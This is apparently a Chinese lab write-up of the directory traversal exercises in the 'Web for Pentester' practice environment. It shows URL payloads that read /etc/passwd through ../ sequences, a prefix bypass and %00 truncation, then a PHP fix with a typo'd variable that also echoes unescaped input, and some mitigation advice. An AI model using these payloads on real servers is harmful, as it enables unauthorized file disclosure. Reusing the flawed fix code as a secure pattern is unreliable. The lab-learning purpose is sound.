zoukankan      html  css  js  c++  java
  • 【渗透测试学习平台】 web for pentester -4.目录遍历

    Example 1

    http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd

    Example 2

    http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

    代码会检测是否包含/var/www/files/字符串

    Example 3

    http://192.168.106.154/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

    使用%00截断后面字符串,读取passwd文件

    修复方案:

    修复代码示例:

    <?php  
    function checkstr($str,$find){  
    $find_str=$find;  
    $tmparray=explode($find_str,$str);  
    if(count($tmparray)>1){  
    return true;  
    }else{  
    return false;}  
    }  
    $hostdir=$_REQUEST['path'];  
    if(!checkstr($hostdir,"..")&&!checkstr($jostdir,"../")){  
    echo $hostdir;  
    }else{  
    echo "请勿提交非法字符";  
    }  
    ?>  

    修复方案:

    过滤.(点)等可能的恶意字符:这个试用于能够修改线上代码,最为推荐的方法;

    正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则;

    php.ini 配置 open_basedir:这个参数值得的是用户只能访问的目录,作为不能修改线上代码时的备用方案。

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    Postman post csrf_token
    CBV
    nginx+uWSGI+django部署web服务器
    JS绘图
    get_字段_display()
    limit_choices_to
    window.onload=function(){};
    模拟百度搜索项目
    事件冒泡
    解绑事件
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6991864.html
Copyright © 2011-2022 走看看